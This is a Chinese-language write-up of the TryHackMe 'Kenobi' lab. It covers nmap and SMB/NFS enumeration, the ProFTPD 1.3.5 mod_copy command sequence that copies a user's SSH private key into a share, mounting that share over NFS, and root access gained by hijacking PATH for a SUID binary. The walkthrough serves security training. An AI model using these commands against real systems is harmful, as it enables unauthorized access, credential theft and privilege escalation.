[THM] kenobi

First Post:

Last Update:

Word Count:
1.6k

Read Time:
7 min

173899a86771f6c70b3864a79b6351b633294154

信息收集

  1. nmap -sC -sV -T4 ip

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    ┌──(root㉿kali)-[~]
    └─# nmap -sC -sV -T4 10.10.87.203
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 11:36 UTC
    Nmap scan report for ip-10-10-87-203.eu-west-1.compute.internal (10.10.87.203)
    Host is up (0.0029s latency).
    Not shown: 993 closed tcp ports (reset)
    PORT STATE SERVICE VERSION
    21/tcp open ftp ProFTPD 1.3.5
    22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    | 2048 b3ad834149e95d168d3b0f057be2c0ae (RSA)
    | 256 f8277d642997e6f865546522f7c81d8a (ECDSA)
    |_ 256 5a06edebb6567e4c01ddeabcbafa3379 (ED25519)
    80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    | http-robots.txt: 1 disallowed entry
    |_/admin.html
    |_http-title: Site doesnt have a title (text/html).
    111/tcp open rpcbind 2-4 (RPC #100000)
    | rpcinfo:
    | program version port/proto service
    | 100000 2,3,4 111/tcp rpcbind
    | 100000 2,3,4 111/udp rpcbind
    | 100000 3,4 111/tcp6 rpcbind
    | 100000 3,4 111/udp6 rpcbind
    | 100003 2,3,4 2049/tcp nfs
    | 100003 2,3,4 2049/tcp6 nfs
    | 100003 2,3,4 2049/udp nfs
    | 100003 2,3,4 2049/udp6 nfs
    | 100005 1,2,3 39028/udp mountd
    | 100005 1,2,3 51006/udp6 mountd
    | 100005 1,2,3 52219/tcp mountd
    | 100005 1,2,3 53459/tcp6 mountd
    | 100021 1,3,4 34773/tcp6 nlockmgr
    | 100021 1,3,4 37630/udp6 nlockmgr
    | 100021 1,3,4 39473/tcp nlockmgr
    | 100021 1,3,4 41668/udp nlockmgr
    | 100227 2,3 2049/tcp nfs_acl
    | 100227 2,3 2049/tcp6 nfs_acl
    | 100227 2,3 2049/udp nfs_acl
    |_ 100227 2,3 2049/udp6 nfs_acl
    139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
    2049/tcp open nfs_acl 2-3 (RPC #100227)
    MAC Address: 02:52:93:89:63:6F (Unknown)
    Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

    Host script results:
    |_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
    | smb2-security-mode:
    | 311:
    |_ Message signing enabled but not required
    | smb-security-mode:
    | account_used: guest
    | authentication_level: user
    | challenge_response: supported
    |_ message_signing: disabled (dangerous, but default)
    | smb2-time:
    | date: 2023-04-10T11:36:30
    |_ start_date: N/A
    |_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
    | smb-os-discovery:
    | OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
    | Computer name: kenobi
    | NetBIOS computer name: KENOBI\x00
    | Domain name: \x00
    | FQDN: kenobi
    |_ System time: 2023-04-10T06:36:30-05:00

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
    • 21端口,ftp服务开放,且使用的是ProFTPD,version是1.3.5。

    • 80端口开放,有网页服务器,访问网页没有任何有用信息。admin.html屁用没有(

    • 111端口开放,rpc服务开启。

    • 139和445端口开放,Samba服务开启。

      samba

      1
      2
      Samba是适用于Linux和Unix的标准Windows互操作性程序套件。它允许最终用户访问和使用公司内部网或互联网上的文件、打印机和其他常见共享资源。它通常被称为网络文件系统。
      Samba基于服务器消息块(SMB)的通用客户端/服务器协议。SMB仅针对Windows开发,如果没有Samba,其他计算机平台将与Windows机器隔离,即使它们是同一网络的一部分。
  2. 因为上面扫描发现存在smb服务,所以使用nmap脚本smb-enum-shares.nse以及smb-enum-users.nse对靶机smb的shares以及users进行列举。

    nmap-script

    可以发现\IPC$以及\anonymous都可以任意读写以及访问。

  3. 所以,我们使用smbclient //ip/anonymous匿名连接靶机smb共享,查看发现存在log.txt文件。(//ip/IPC$啥也没有)

    information

    我们从log.txt中,我们可以发现用户生成了自己的ssh私钥放在/home/kenobi/.ssh/目录下的id_rsa文件中。于是我们考虑能否拿到该秘钥以通过ssh登录靶机。

  4. 于是,我们得想办法拿到秘钥。之前扫描发现的111端口开放且正在运行rpcbind服务,rpcbind是一个将远程程序调用(RPC– remote procedure call)的程序号转换为通用地址的服务器。当一个RPC 服务启动时,它会告诉 rpcbind 它正在监听的地址以及它准备启用的服务所对应的RPC程序编号。因为扫描发现nfs(network file system)服务被远程启用,我们进一步使用nmap脚本nfs-ls, nfs-statfs, nfs-showmount尝试枚举nfs信息。

    nmap-script-rpc

    我们可以发现,靶机将/var挂载在nfs上。我们可以尝试将这个目录挂载在我们的攻击机上。

漏洞利用

  1. 但是我们想要的秘钥不在/var目录下,我们首先要将其弄到/var目录中。前面发现了ProFTPD的版本是1.3.5,我们searchsploit proFTPD 1.3.5 发现其存在文件拷贝漏洞。(其他两个’mod_copy’ RCE利用不成功)。查看File Copy的漏洞利用.txt文件,发现漏洞细节。

    exp-txt

    该版本ProFtpd的mod_copy模块中存在漏洞。mod_copy模块实现了SITE CPFRSITE CPTO 命令(类似于 RNFR 和 RNTO) ,这些命令可以用来将文件/目录从服务器上的一个地方复制到另一个地方,而无需将数据传输到客户端并等待返回(无身份验证),该模块包含在 ProFTPD 1.3.x 的 mod_copy.c 文件中,默认情况下不进行编译。也就是说:任何未经身份验证的客户机都可以利用SITE CPFR 和 SITE CPTO 命令,将文件从FTP服务器的文件系统的任何位置复制到选定的位置。刚好是我们需要的功能。

  2. 我们使用nc连接ftp服务器,并利用该漏洞将id_rsa拷贝到/var/tmp目录下。

    1
    2
    3
    nc -nv 10.10.87.203 21
    SITE CPFR /home/kenobi/.ssh/id_rsa
    SITE CPTO /vat/tmp/id_rsa
  3. 我们将/var挂载(mount)到我们机子上

    mount

    可以发现,我们已经获得了ssh登录的rsa私钥。

  4. 我们将id_rsa文件权限改成600,否则无法用于ssh登录。

    ssh-login-id-rsa

    成功登录并可以看到user.txt。

提权

  1. 先把lse.sh传上去再说。运行。(或者使用find / -perm -u=s -type f 2>/dev/null查找有SUID位的二进制文件)

    suid

    发现有趣的setuid二进制文件:/usr/bin/menu。

  2. 我们用string检查一下这个二进制文件。(strings 是 Linux 上的一个命令,它能在二进制文件上查找人类可读的字符串,我们使用以下命令来查看/usr/bin/menu运行时的信息(因为执行menu命令时有文字回显,我们才使用strings命令))

    suid-check

    我们发现,其调用curl,uname,ifconfig使用的不是绝对路径(/usr/bin/curl)这种。所以系统在执行时会从$PATH下的路径从前到后寻找这些二进制文件。

  3. 所以我们可以在$PATH最前面加入目录,并放入我们构造的这些二进制文件,然后menu运行时就会以root权限执行这些文件。因此我们直接构造/bin/bash

    1
    2
    3
    # 在/home/kenobi目录下
    kenobi@kenobi:~$ echo /bin/bash > ifconfig
    kenobi@kenobi:~$ chmod 777 ifconfig

    提权

    成功提权。